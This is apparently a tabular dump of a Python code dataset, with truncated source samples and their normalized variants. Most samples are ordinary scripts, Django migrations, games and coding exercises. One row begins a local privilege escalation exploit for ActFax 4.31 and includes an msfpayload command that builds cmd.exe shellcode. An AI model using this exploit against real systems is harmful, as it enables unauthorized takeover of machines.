false
1,651
9e16921d83a5f62aad694b26a92b57b97ccda461
"""After seeing how great the lmfit package, I was inspired to create my own object using it. This acts as a fitting template. """ ##-------------------------------PREAMBLE-----------------------------------## import numpy as np import matplotlib.pyplot as plt from lmfit import minimize, Parameters, fit_report impo...
[ "\"\"\"After seeing how great the lmfit package, I was inspired to create my own\nobject using it. This acts as a fitting template. \n\"\"\"\n##-------------------------------PREAMBLE-----------------------------------##\nimport numpy as np \nimport matplotlib.pyplot as plt \nfrom lmfit import minimize, Parameters,...
false
1,652
0cba18ca7126dda548a09f34dc26b83d6471bf68
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('courses', '0015_auto_20151216_1136'), ] operations = [ migrations.AlterField( model_name='duration', ...
[ "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('courses', '0015_auto_20151216_1136'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='dur...
false
1,653
a28c62a18d793fb285353902d01801c720bcb454
#this apps is open #Let's start with introduction print "Hi, I am x0x. Could we introduce ourselves? (yes/no)" answer = raw_input() if answer.lower() == 'yes': print "Okay, what is your name?" name = raw_input() print "Hi", name print "Nice to meet you." print "What are you going to do?" print...
[ "#this apps is open\n\n#Let's start with introduction\n\nprint \"Hi, I am x0x. Could we introduce ourselves? (yes/no)\"\nanswer = raw_input()\nif answer.lower() == 'yes':\n print \"Okay, what is your name?\"\n name = raw_input()\n print \"Hi\", name\n print \"Nice to meet you.\"\n print \"What are yo...
true
1,654
f7a511beaea869cf32eb905a4f3685077297a5ec
import bpy bl_info = { "name": "Ratchets Center All Objects", "author": "Ratchet3789", "version": (0, 1, 0), "description": "Centers all selected objects. Built for Game Development.", "category": "Object", } class CenterOriginToZero(bpy.types.Operator): """Center all objects script""" # blen...
[ "import bpy\nbl_info = {\n \"name\": \"Ratchets Center All Objects\",\n \"author\": \"Ratchet3789\",\n \"version\": (0, 1, 0),\n \"description\": \"Centers all selected objects. Built for Game Development.\",\n \"category\": \"Object\",\n}\n\n\nclass CenterOriginToZero(bpy.types.Operator):\n \"\"\...
false
1,655
ad63beedc460b3d64a51d0b1f81f8e44cb559749
import torch,cv2,os,time import numpy as np import matplotlib.pyplot as plt from tqdm import tqdm import torch.nn as nn import torch.nn.functional as F import torch.optim as optim # GPU kullanımı device=torch.device(0) class NET(nn.Module): def __init__(self): super(). __init__() ...
[ "import torch,cv2,os,time\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom tqdm import tqdm\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch.optim as optim\r\n\r\n\r\n# GPU kullanımı\r\ndevice=torch.device(0)\r\n\r\n\r\nclass NET(nn.Module):\r\n def __init__(self):\r\n ...
false
1,656
0212382b5c8cc1e98142a784fd26efd577ebceaf
# LCP 74. 最强祝福力场-离散化+二维差分 # https://leetcode.cn/problems/xepqZ5/ # forceField[i] = [x,y,side] 表示第 i 片力场将覆盖以坐标 (x,y) 为中心,边长为 side 的正方形区域。 # !若任意一点的 力场强度 等于覆盖该点的力场数量,请求出在这片地带中 力场强度 最强处的 力场强度。 # !统计所有左下和右上坐标,由于会出现 0.5可以将坐标乘 2。 # O(n^2) from typing import List from 二维差分模板 import DiffMatrix class Solution:...
[ "# LCP 74. 最强祝福力场-离散化+二维差分\r\n# https://leetcode.cn/problems/xepqZ5/\r\n# forceField[i] = [x,y,side] 表示第 i 片力场将覆盖以坐标 (x,y) 为中心,边长为 side 的正方形区域。\r\n# !若任意一点的 力场强度 等于覆盖该点的力场数量,请求出在这片地带中 力场强度 最强处的 力场强度。\r\n\r\n# !统计所有左下和右上坐标,由于会出现 0.5可以将坐标乘 2。\r\n# O(n^2)\r\n\r\n\r\nfrom typing import List\r\nfrom 二维差分模板 import DiffMa...
false
1,657
ffcd3c0086ff73eb722d867b335df23382615d20
salario = float(input('Qual o valor do seu Salario atual? R$ ')) novo = salario + (salario * 15 / 100) print('Um funcioario que ganhava R$ {:.2f} com o aumento de 15% passa a ganhar R$ {:.2f}'.format(salario, novo))
[ "salario = float(input('Qual o valor do seu Salario atual? R$ '))\nnovo = salario + (salario * 15 / 100)\nprint('Um funcioario que ganhava R$ {:.2f} com o aumento de 15% passa a ganhar R$ {:.2f}'.format(salario, novo))", "salario = float(input('Qual o valor do seu Salario atual? R$ '))\nnovo = salario + salario *...
false
1,658
d28e517e72c3689e973a5b1255d414648de418fb
from CategoryReplacer.CategoryReplcaers import CountEncoder from CategoryReplacer.CategoryReplcaers import CombinCountEncoder from CategoryReplacer.CategoryReplcaers import FrequencyEncoder from CategoryReplacer.CategoryReplcaers import NullCounter from CategoryReplacer.CategoryReplcaers import AutoCalcEncoder from Cat...
[ "from CategoryReplacer.CategoryReplcaers import CountEncoder\nfrom CategoryReplacer.CategoryReplcaers import CombinCountEncoder\nfrom CategoryReplacer.CategoryReplcaers import FrequencyEncoder\nfrom CategoryReplacer.CategoryReplcaers import NullCounter\nfrom CategoryReplacer.CategoryReplcaers import AutoCalcEncoder...
false
1,659
2b14607aa2527f5da57284917d06ea60e89f784c
import pygame from .Coin import Coin from .Snake import Snake, Block from .Bomb import Bomb from .Rocket import Rocket from pygame.math import Vector2 cell_size = 16 cell_number = 30 sprite_cell = pygame.image.load("Assets/Cell.png") bg = pygame.image.load("Assets/BG.png") bg2 = pygame.image.load("Assets/BG2.png") c...
[ "import pygame\nfrom .Coin import Coin\nfrom .Snake import Snake, Block\nfrom .Bomb import Bomb\nfrom .Rocket import Rocket\nfrom pygame.math import Vector2\n\ncell_size = 16\ncell_number = 30\n\nsprite_cell = pygame.image.load(\"Assets/Cell.png\")\nbg = pygame.image.load(\"Assets/BG.png\")\nbg2 = pygame.image.load...
false
1,660
da696961fea72e1482beae73c19b042b94d93886
from Crypto.Hash import SHA512 from Crypto.PublicKey import RSA from Crypto import Random from collections import Counter from Tkinter import Tk from tkFileDialog import askopenfilename import ast import os import tkMessageBox from Tkinter import Tk from tkFileDialog import askopenfilename import Tkinter import tkSimpl...
[ "from Crypto.Hash import SHA512\nfrom Crypto.PublicKey import RSA\nfrom Crypto import Random\nfrom collections import Counter\nfrom Tkinter import Tk\nfrom tkFileDialog import askopenfilename\nimport ast\nimport os\nimport tkMessageBox\nfrom Tkinter import Tk\nfrom tkFileDialog import askopenfilename\nimport Tkinte...
false
1,661
c0ad3d642f28cb11a8225d4d011dbb241bd88432
n = int(input('Digite um número inteiro: ')) print(' O dobro de {} é {}'.format(n, n*2)) print(' O triplo de {} é {}'.format(n, n*3)) print(' A Raiz quadrada de {} é {}'.format(n, n*n))
[ "n = int(input('Digite um número inteiro: '))\n\nprint(' O dobro de {} é {}'.format(n, n*2))\nprint(' O triplo de {} é {}'.format(n, n*3))\nprint(' A Raiz quadrada de {} é {}'.format(n, n*n))", "n = int(input('Digite um número inteiro: '))\nprint(' O dobro de {} é {}'.format(n, n * 2))\nprint(' O triplo de {} é {...
false
1,662
d39cc2dbbc83869e559f8355ceba5cf420adea5e
class Solution: def isUgly(self, num): if num==0: return False for n in [2,3,5]: while num%n==0: num=num/n return num==1 a=Solution() print(a.isUgly(14)) print(a.isUgly(8)) print(a.isUgly(6)) print(a.isUgly(0))
[ "class Solution:\n def isUgly(self, num):\n if num==0: return False\n for n in [2,3,5]:\n while num%n==0:\n num=num/n\n return num==1\n\na=Solution()\nprint(a.isUgly(14))\nprint(a.isUgly(8))\nprint(a.isUgly(6))\nprint(a.isUgly(0))", "class Solution:\n\n def isU...
false
1,663
f6a3693fe81e629d987067265bf4e410bf260bcf
import numpy as np import yaml import pickle import os from flask import Flask, request, jsonify, render_template, redirect, url_for, flash from flask_mail import Mail, Message from flask_wtf import FlaskForm from flask_sqlalchemy import SQLAlchemy from flask_bootstrap import Bootstrap from wtforms import StringField,...
[ "import numpy as np\nimport yaml\nimport pickle\nimport os\n\nfrom flask import Flask, request, jsonify, render_template, redirect, url_for, flash\nfrom flask_mail import Mail, Message\nfrom flask_wtf import FlaskForm\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_bootstrap import Bootstrap\nfrom wtforms impo...
false
1,664
3edfc1098c775fa31456aa3cc938051b2dbb8697
from typing import List class Solution: def findSubsequences(self, nums: List[int]) -> List[List[int]]: res: List[List[int]] = [] s = set() def deep(pos: int, tmp: List[int]): if pos == len(nums): if len(tmp) < 2: return for...
[ "from typing import List\n\n\nclass Solution:\n def findSubsequences(self, nums: List[int]) -> List[List[int]]:\n res: List[List[int]] = []\n\n s = set()\n\n def deep(pos: int, tmp: List[int]):\n if pos == len(nums):\n if len(tmp) < 2:\n return\n ...
false
1,665
572d58eec652207e6ec5a5e1d4c2f4310f2a70f3
import ttk import Tkinter as tk from rwb.runner.log import RobotLogTree, RobotLogMessages from rwb.lib import AbstractRwbGui from rwb.widgets import Statusbar from rwb.runner.listener import RemoteRobotListener NAME = "monitor" HELP_URL="https://github.com/boakley/robotframework-workbench/wiki/rwb.monitor-User-Guide"...
[ "import ttk\nimport Tkinter as tk\nfrom rwb.runner.log import RobotLogTree, RobotLogMessages\nfrom rwb.lib import AbstractRwbGui\nfrom rwb.widgets import Statusbar\n\nfrom rwb.runner.listener import RemoteRobotListener\n\nNAME = \"monitor\"\nHELP_URL=\"https://github.com/boakley/robotframework-workbench/wiki/rwb.mo...
true
1,666
670efbd9879099b24a87e19a531c4e3bbce094c6
""" Read all the images from a directory, resize, rescale and rename them. """
[ "\n\n\"\"\"\nRead all the images from a directory,\nresize, rescale and rename them.\n\"\"\"\n\n\n\n", "<docstring token>\n" ]
false
1,667
d0e5a3a6db0e27ecf157294850a48a19750a5ac2
# Cookies Keys class Cookies: USER_TOKEN = "utoken" # Session Keys class Session: USER_ROOT_ID = "x-root-id" class APIStatisticsCollection: API_ACTION = "x-stats-api-action" DICT_PARAMS = "x-stats-param-dict" DICT_RESPONSE = "x-stats-resp-dict" SUCCESS = "x-stats-success" ...
[ "# Cookies Keys\nclass Cookies:\n USER_TOKEN = \"utoken\"\n\n\n# Session Keys\nclass Session:\n USER_ROOT_ID = \"x-root-id\"\n\n class APIStatisticsCollection:\n API_ACTION = \"x-stats-api-action\"\n DICT_PARAMS = \"x-stats-param-dict\"\n DICT_RESPONSE = \"x-stats-resp-dict\"\n ...
false
1,668
8dfd92ab0ce0e71b41ce94bd8fcf057c8995a2a4
import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D import numpy as np def plot3D(xValues, labels, figure = 0): minClass = min(labels) numberOfClasses = int(max(labels) - minClass) fig = plt.figure(figure) ax = plt.axes(projection='3d') colors = ["r", "b", "y", "c", "m"] fo...
[ "import matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\n\ndef plot3D(xValues, labels, figure = 0):\n minClass = min(labels)\n numberOfClasses = int(max(labels) - minClass)\n\n fig = plt.figure(figure)\n ax = plt.axes(projection='3d')\n colors = [\"r\", \"b\", \"...
false
1,669
4480b305a6f71ff64022f2b890998326bf402bf0
#coding=utf-8 '初始化Package,加载url,生成app对象' import web from myapp.urls import urls app = web.application(urls, globals())
[ "#coding=utf-8\r\n'初始化Package,加载url,生成app对象'\r\nimport web\r\nfrom myapp.urls import urls\r\n\r\napp = web.application(urls, globals())\r\n\r\n\r\n", "<docstring token>\nimport web\nfrom myapp.urls import urls\napp = web.application(urls, globals())\n", "<docstring token>\n<import token>\napp = web.application(...
false
1,670
d44d9003e9b86722a0fc1dfe958de462db9cd5f1
linha = input().split() a = float(linha[0]) b = float(linha[1]) c = float(linha[2]) t = (a*c)/2 print('TRIANGULO: {:.3f}'.format(t)) pi = 3.14159 print("CIRCULO: {:.3f}".format(pi*c**2)) print('TRAPEZIO: {:.3f}'.format( ((a+b)*c)/2 )) print("QUADRADO: {:.3f}".format(b**2)) print("RETANGULO: {:.3f}".format(a*b))
[ "linha = input().split()\n\na = float(linha[0])\nb = float(linha[1])\nc = float(linha[2])\n\nt = (a*c)/2\n\nprint('TRIANGULO: {:.3f}'.format(t))\n\npi = 3.14159\n\nprint(\"CIRCULO: {:.3f}\".format(pi*c**2))\n\nprint('TRAPEZIO: {:.3f}'.format( ((a+b)*c)/2 ))\n\nprint(\"QUADRADO: {:.3f}\".format(b**2))\n\nprint(\"RET...
false
1,671
474700968e563d34d6a0296ec62950e2e71fe1b0
# -*- coding: utf-8 -*- import chainer.links as L import chainer.functions as F from chainer import optimizer, optimizers, training, iterators from chainer.training import extensions from chainer.datasets import tuple_dataset class SoftMaxTrainer(): def __init__(self, net): self.model = L.Classifier(net)...
[ "# -*- coding: utf-8 -*-\n\nimport chainer.links as L\nimport chainer.functions as F\nfrom chainer import optimizer, optimizers, training, iterators\nfrom chainer.training import extensions\nfrom chainer.datasets import tuple_dataset\n\nclass SoftMaxTrainer():\n\n def __init__(self, net):\n self.model = L...
false
1,672
fc17b865815a7a5ec51f477a9fdda54667686eed
import pandas as pd import matplotlib.pyplot as plt loansData = pd.read_csv('loansData.csv') # Print the first 5 rows of each of the column to see what needs to be cleaned print loansData['Interest.Rate'][0:5] print loansData['Loan.Length'][0:5] print loansData['FICO.Range'][0:5] # Clean up the columns loansData['...
[ "import pandas as pd\nimport matplotlib.pyplot as plt\n\n\nloansData = pd.read_csv('loansData.csv')\n\n# Print the first 5 rows of each of the column to see what needs to be cleaned\nprint loansData['Interest.Rate'][0:5]\nprint loansData['Loan.Length'][0:5]\nprint loansData['FICO.Range'][0:5]\n\n\n# Clean up the co...
true
1,673
955017ad7cc9dde744b8d8a9439f63f4725d50bc
#!/usr/bin/python # This script deletes and recreates the NIC BoD intents. # Use nic-bod-setup.py to set up the physical network and NEMO nodes first import requests,json import argparse, sys from requests.auth import HTTPBasicAuth USERNAME='admin' PASSWORD='admin' NIC_INTENTS="http://%s:8181/restconf/config/intent...
[ "#!/usr/bin/python\n\n# This script deletes and recreates the NIC BoD intents.\n# Use nic-bod-setup.py to set up the physical network and NEMO nodes first\n\nimport requests,json\nimport argparse, sys\nfrom requests.auth import HTTPBasicAuth\n\nUSERNAME='admin'\nPASSWORD='admin'\n\nNIC_INTENTS=\"http://%s:8181/rest...
true
1,674
ab632c3c8a7f295a890de19af82fde87c6d600bc
class Solution(object): def gcdOfStrings(self, str1, str2): if str1 == str2: return str1 elif not str1 or not str2: return '' elif str1.startswith(str2): return self.gcdOfStrings(str1[len(str2):], str2) elif str2.startswith(str1): retur...
[ "class Solution(object):\n def gcdOfStrings(self, str1, str2):\n if str1 == str2:\n return str1\n elif not str1 or not str2:\n return ''\n elif str1.startswith(str2):\n return self.gcdOfStrings(str1[len(str2):], str2)\n elif str2.startswith(str1):\n ...
false
1,675
71fb9dc9f9ac8b1cdbc6af8a859dbc211512b4d1
from allcode.controllers.image_classifiers.image_classifier import ImageClassifier class ImageClassifierMockup(ImageClassifier): def classify_images(self, images): pass def classify_image(self, image): return {'final_class': 'dog', 'final_prob': .8}
[ "from allcode.controllers.image_classifiers.image_classifier import ImageClassifier\n\n\nclass ImageClassifierMockup(ImageClassifier):\n\n def classify_images(self, images):\n pass\n\n def classify_image(self, image):\n return {'final_class': 'dog',\n 'final_prob': .8}\n", "from...
false
1,676
9cea27abebda10deefa9e05ddefa72c893b1eb18
import numpy as np import cv2 from DataTypes import FishPosition class FishSensor(object): def __init__(self): self.cap = cv2.VideoCapture(0) self.cap.set(3, 280) self.cap.set(4, 192) #cv2.namedWindow("image") #lower_b, lower_g, lower_r = 0, 0, 80 lower_b, lower_g, lower_r = ...
[ "import numpy as np\nimport cv2\nfrom DataTypes import FishPosition\n\nclass FishSensor(object):\n def __init__(self):\n\t self.cap = cv2.VideoCapture(0)\n\t self.cap.set(3, 280)\n\t self.cap.set(4, 192)\n\n\t #cv2.namedWindow(\"image\")\n\n\t #lower_b, lower_g, lower_r = 0, 0, 80\n low...
true
1,677
eda1c1db5371f5171f0e1929e98d09e10fdcef24
"""Test Assert module.""" import unittest from physalia import asserts from physalia.fixtures.models import create_random_sample from physalia.models import Measurement # pylint: disable=missing-docstring class TestAssert(unittest.TestCase): TEST_CSV_STORAGE = "./test_asserts_db.csv" def setUp(self): ...
[ "\"\"\"Test Assert module.\"\"\"\n\nimport unittest\nfrom physalia import asserts\nfrom physalia.fixtures.models import create_random_sample\nfrom physalia.models import Measurement\n\n# pylint: disable=missing-docstring\n\nclass TestAssert(unittest.TestCase):\n TEST_CSV_STORAGE = \"./test_asserts_db.csv\"\n\n ...
false
1,678
e4f07355300003943d2fc09f80746a1201de7e37
# ch14_26.py fn = 'out14_26.txt' x = 100 with open(fn, 'w') as file_Obj: file_Obj.write(x) # 直接輸出數值x產生錯誤
[ "# ch14_26.py\r\nfn = 'out14_26.txt'\r\nx = 100\r\n\r\nwith open(fn, 'w') as file_Obj:\r\n file_Obj.write(x) # 直接輸出數值x產生錯誤\r\n\r\n", "fn = 'out14_26.txt'\nx = 100\nwith open(fn, 'w') as file_Obj:\n file_Obj.write(x)\n", "<assignment token>\nwith open(fn, 'w') as file_Obj:\n file_Obj.write...
false
1,679
63001128d9cb934d6f9d57db668a43ba58f4ece3
# encoding: utf-8 from SpiderTools.tool import platform_system from SpidersLog.file_handler import SafeFileHandler from Env.parse_yaml import FileConfigParser from Env import log_variable as lv from staticparm import root_path from SpiderTools.tool import get_username import logging import logging.handlers import trace...
[ "# encoding: utf-8\nfrom SpiderTools.tool import platform_system\nfrom SpidersLog.file_handler import SafeFileHandler\nfrom Env.parse_yaml import FileConfigParser\nfrom Env import log_variable as lv\nfrom staticparm import root_path\nfrom SpiderTools.tool import get_username\nimport logging\nimport logging.handlers...
false
1,680
aac3b2478980d3a5453451cb848afcfd6aca1743
import logging as log from time import monotonic import re from jmap.account import ImapAccount import jmap.core as core import jmap.mail as mail import jmap.submission as submission import jmap.vacationresponse as vacationresponse import jmap.contacts as contacts import jmap.calendars as calendars from jmap import er...
[ "import logging as log\nfrom time import monotonic\nimport re\n\nfrom jmap.account import ImapAccount\nimport jmap.core as core\nimport jmap.mail as mail\nimport jmap.submission as submission\nimport jmap.vacationresponse as vacationresponse\nimport jmap.contacts as contacts\nimport jmap.calendars as calendars\nfro...
false
1,681
66f60eb86137203a74656be13b631384eba30c84
# Definition for singly-linked list. # class ListNode(object): # def __init__(self, x): # self.val = x # self.next = None class Solution(object): def getIntersectionNode(self, headA, headB): """ :type head1, head1: ListNode :rtype: ListNode """ if not hea...
[ "# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def getIntersectionNode(self, headA, headB):\n \"\"\"\n :type head1, head1: ListNode\n :rtype: ListNode\n \"\...
false
1,682
27ca60435c614e4d748917da45fc2fc75ee59f1c
#! /usr/bin/env python # -*- coding: utf-8 -*- from __future__ import division import os from solid import * from solid.utils import * from shapes import * import sys # Assumes SolidPython is in site-packages or elsewhwere in sys.path from solid import * from solid.utils import * def voxels(): # shape = cube([1,...
[ "#! /usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import division\nimport os\nfrom solid import *\nfrom solid.utils import *\n\nfrom shapes import *\nimport sys\n\n# Assumes SolidPython is in site-packages or elsewhwere in sys.path\nfrom solid import *\nfrom solid.utils import *\n\ndef voxels():\n ...
false
1,683
7282af4186a976296ac50840e9169b78a66e118b
import pyreadstat import matplotlib.pyplot as plt import numpy as np from keras.models import Sequential from keras.layers import Dense from keras.utils import np_utils from sklearn.preprocessing import LabelEncoder # Set random seed for reproducible results np.random.seed(1) # Read sav file and create a pandas dataf...
[ "import pyreadstat\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.utils import np_utils\nfrom sklearn.preprocessing import LabelEncoder\n\n# Set random seed for reproducible results\nnp.random.seed(1)\n\n# Read sav file and creat...
false
1,684
333d237dd4a203fcfde3668901d725f16fbc402e
print('-'*100) print('BIENVENIDOS A TIENDA ELEGANCIA') print('-'*100) prendas = ('Remeras', 'Camisas', 'Pantalones', 'Faldas', 'Vestidos', 'Abrigos', 'Calzado') precioSinPromo = 0 superPuntos = 0 #ARTICULO 1 tipoPrenda1 = int(input('Ingrese Codigo de la prenda seleccionada: 0=Remeras, 1=Camisas, 2=Pantalones, 3=Fald...
[ "print('-'*100)\nprint('BIENVENIDOS A TIENDA ELEGANCIA')\nprint('-'*100)\n\nprendas = ('Remeras', 'Camisas', 'Pantalones', 'Faldas', 'Vestidos', 'Abrigos', 'Calzado')\n\nprecioSinPromo = 0\nsuperPuntos = 0\n\n#ARTICULO 1\ntipoPrenda1 = int(input('Ingrese Codigo de la prenda seleccionada: 0=Remeras, 1=Camisas, 2=Pan...
false
1,685
732886306d949c4059b08e1bc46de3ad95ba56cb
""" Primos <generadores> 30 pts Realice una generador que devuelva de todos lo numeros primos existentes de 0 hasta n-1 que cumpla con el siguiente prototipo: def gprimo(N): pass a = gprimo(10) z = [e for e in a] print(z) # [2, 3 ,5 ,7 ] """ def gprimo(nmax): for x in range(1,nmax): for i in ra...
[ "\"\"\"\n\n Primos <generadores> 30 pts\n\n\tRealice una generador que devuelva de todos lo numeros primos\n\texistentes de 0 hasta n-1 que cumpla con el siguiente prototipo:\n\t\n\tdef gprimo(N):\n\t\tpass\n\t\n\t\n\ta = gprimo(10)\n\tz = [e for e in a]\n\tprint(z)\n\t# [2, 3 ,5 ,7 ]\n\"\"\"\n\ndef gprimo(nmax)...
false
1,686
e9c88e18472281438783d29648c673aa08366abb
import unittest2 as unittest class GpTestCase(unittest.TestCase): def __init__(self, methodName='runTest'): super(GpTestCase, self).__init__(methodName) self.patches = [] self.mock_objs = [] def apply_patches(self, patches): if self.patches: raise Exception('Test c...
[ "import unittest2 as unittest\n\n\nclass GpTestCase(unittest.TestCase):\n def __init__(self, methodName='runTest'):\n super(GpTestCase, self).__init__(methodName)\n self.patches = []\n self.mock_objs = []\n\n def apply_patches(self, patches):\n if self.patches:\n raise E...
false
1,687
1b7048ef17b3512b9944ce7e197db27f4fd1aed0
#!/usr/bin/python #Title: ActFax 4.31 Local Privilege Escalation Exploit #Author: Craig Freyman (@cd1zz) #Discovered: July 10, 2012 #Vendor Notified: June 12, 2012 #Description: http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html #msfpayload windows/exec CMD=cmd.exe R | msfencode -e x86/alpha_u...
[ "#!/usr/bin/python\r\n#Title: ActFax 4.31 Local Privilege Escalation Exploit\r\n#Author: Craig Freyman (@cd1zz)\r\n#Discovered: July 10, 2012\r\n#Vendor Notified: June 12, 2012\r\n#Description: http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html\r\n\r\n#msfpayload windows/exec CMD=cmd.exe R | msfen...
false
1,688
6fbf64e2dc2836a54e54ee009be1d0d8d7c7037a
import time from sqlalchemy import Column, Unicode, UnicodeText, Integer from models.base_model import SQLMixin, db, SQLBase class Messages(SQLMixin, SQLBase): __tablename__ = 'Messages' title = Column(Unicode(50), nullable=False) content = Column(UnicodeText, nullable=False) sender_id = ...
[ "import time\r\n\r\nfrom sqlalchemy import Column, Unicode, UnicodeText, Integer\r\n\r\nfrom models.base_model import SQLMixin, db, SQLBase\r\n\r\n\r\nclass Messages(SQLMixin, SQLBase):\r\n __tablename__ = 'Messages'\r\n title = Column(Unicode(50), nullable=False)\r\n content = Column(UnicodeText, nullable...
false
1,689
057140ef1b8db340656b75b3a06cea481e3f20af
''' Bayesian models for TWAS. Author: Kunal Bhutani <kunalbhutani@gmail.com> ''' from scipy.stats import norm import pymc3 as pm import numpy as np from theano import shared from scipy.stats.distributions import pareto from scipy import optimize import theano.tensor as t def tinvlogit(x): return t.exp(x) / (1 +...
[ "'''\nBayesian models for TWAS.\n\nAuthor: Kunal Bhutani <kunalbhutani@gmail.com>\n'''\n\nfrom scipy.stats import norm\nimport pymc3 as pm\nimport numpy as np\nfrom theano import shared\nfrom scipy.stats.distributions import pareto\nfrom scipy import optimize\nimport theano.tensor as t\n\n\ndef tinvlogit(x):\n r...
false
1,690
ee7820d50b5020a787fbaf012480e8c70bc0ee41
from flask import request, json, Response, Blueprint from ..models.DriverModel import DriverModel, DriverSchema driver_api = Blueprint('drivers', __name__) driver_schema = DriverSchema() @driver_api.route('/', methods=['POST']) def create(): req_data = request.get_json() data, error = driver_schema.load(req_...
[ "from flask import request, json, Response, Blueprint\nfrom ..models.DriverModel import DriverModel, DriverSchema\n\ndriver_api = Blueprint('drivers', __name__)\ndriver_schema = DriverSchema()\n\n\n@driver_api.route('/', methods=['POST'])\ndef create():\n req_data = request.get_json()\n data, error = driver_s...
false
1,691
7ca7693b842700a7b15242b656648e8a7e58cd23
''' Project Euler Problem #41 - Pandigital prime David 07/06/2017 ''' import time import math maxPandigitalPrime = 2 def isPrime(num): if(num<=1): return False elif(num==2): return True elif(num%2==0): return False else: sqrt_num = math.sqrt(num) bound = int(...
[ "'''\nProject Euler\n\nProblem #41 - Pandigital prime\n\nDavid 07/06/2017\n'''\n\nimport time\nimport math\n\nmaxPandigitalPrime = 2\n\ndef isPrime(num):\n if(num<=1):\n return False\n elif(num==2):\n return True\n elif(num%2==0):\n return False\n else:\n sqrt_num = math.sqrt...
false
1,692
bbdb07a81d785bdf067707c4e56622a2ada76b7b
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2019/8/15 下午5:04 # @Author : Zessay from .ffm import * from .fm import * from .utils import * from .base_model import * from .base_trainer import * from .logger import * from .metric import * from .input_fn import *
[ "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2019/8/15 下午5:04\n# @Author : Zessay\n\nfrom .ffm import *\nfrom .fm import *\nfrom .utils import *\nfrom .base_model import *\nfrom .base_trainer import *\nfrom .logger import * \nfrom .metric import *\nfrom .input_fn import *", "from .ffm import *\n...
false
1,693
a998433e45c1d5135749c5164e8ec1f2eb0e572a
from job_description import JobDescription from resume import Resume from resume_manager import ResumeManager
[ "from job_description import JobDescription\nfrom resume import Resume\nfrom resume_manager import ResumeManager\n", "<import token>\n" ]
false
1,694
6f5bca8c1afcd9d9971a64300a576ca2b2f6ef70
from django.shortcuts import render from rest_framework import status from rest_framework.views import APIView from rest_framework.response import Response from django.conf import settings import subprocess import os import json class HookView(APIView): def post(self, request, *args, **kwargs): SCRIPT_PAT...
[ "from django.shortcuts import render\nfrom rest_framework import status\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom django.conf import settings\nimport subprocess\nimport os\nimport json\n\n\nclass HookView(APIView):\n def post(self, request, *args, **kwargs):\n ...
false
1,695
b210784a198eaa3e57b5a65ec182a746aecc0e2b
from pet import Pet class Ninja: def __init__(self, first_name, last_name, treats, pet_food, pet): self.first_name = first_name self.last_name = last_name self.treats = treats self.pet_food = pet_food self.pet = pet def walk(self): self.pet.play() def fe...
[ "from pet import Pet \n\nclass Ninja:\n def __init__(self, first_name, last_name, treats, pet_food, pet):\n self.first_name = first_name\n self.last_name = last_name\n self.treats = treats\n self.pet_food = pet_food\n self.pet = pet\n\n\n def walk(self):\n self.pet.pl...
false
1,696
f3ff453655d7938cb417ce212f3836fabafaea43
def interseccao_chaves(lis_dic): lista = [] for dic1 in lis_dic[0]: for cahves in dic1: lista.append(dic1) for dic2 in lis_dic[1]: for cahves in dic2: lista.append(dic2) return lista
[ "\ndef interseccao_chaves(lis_dic):\n lista = []\n for dic1 in lis_dic[0]:\n for cahves in dic1:\n lista.append(dic1)\n \n for dic2 in lis_dic[1]:\n for cahves in dic2:\n lista.append(dic2)\n \n return lista\n", "def interseccao_chaves(lis_dic)...
false
1,697
2c834c734de8f8740176bb5dbb6b123c49924718
#!/usr/bin/env python3 import os import subprocess import logging class color: PURPLE = '\033[95m' CYAN = '\033[96m' DARKCYAN = '\033[36m' BLUE = '\033[94m' GREEN = '\033[92m' YELLOW = '\033[93m' RED = '\033[91m' BOLD = '\033[1m' UNDERLINE = '\033[4m' END = '\033[0m' # Recov...
[ "#!/usr/bin/env python3\n\nimport os\nimport subprocess\nimport logging\n\n\nclass color:\n PURPLE = '\\033[95m'\n CYAN = '\\033[96m'\n DARKCYAN = '\\033[36m'\n BLUE = '\\033[94m'\n GREEN = '\\033[92m'\n YELLOW = '\\033[93m'\n RED = '\\033[91m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'...
false
1,698
ab4c668c8a167f8c387199b7aa49aa742d563250
import hashlib md5 = hashlib.md5(b'Najmul') print(md5.hexdigest()) sha1 = hashlib.sha1(b'Najmul') print(sha1.hexdigest()) sha224 = hashlib.sha224(b'Najmul') print(sha224.hexdigest()) sha256 = hashlib.sha256(b'Najmul') print(sha256.hexdigest()) sha384 = hashlib.sha384(b'Najmul') print(sha384.hexdigest()) sha512 = ...
[ "import hashlib\n\nmd5 = hashlib.md5(b'Najmul')\nprint(md5.hexdigest())\n\nsha1 = hashlib.sha1(b'Najmul')\nprint(sha1.hexdigest())\n\nsha224 = hashlib.sha224(b'Najmul')\nprint(sha224.hexdigest())\n\nsha256 = hashlib.sha256(b'Najmul')\nprint(sha256.hexdigest())\n\nsha384 = hashlib.sha384(b'Najmul')\nprint(sha384.hex...
false
1,699
99e6e734c7d638e3cf4d50d9605c99d5e700e82a
# Дано натуральное число. Требуется определить, # является ли год с данным номером високосным. # Если год является високосным, то выведите `YES`, иначе выведите `NO`. # Напомним, что в соответствии с григорианским календарем, год является високосным, # если его номер кратен 4, но не кратен 100, а также если он кратен 4...
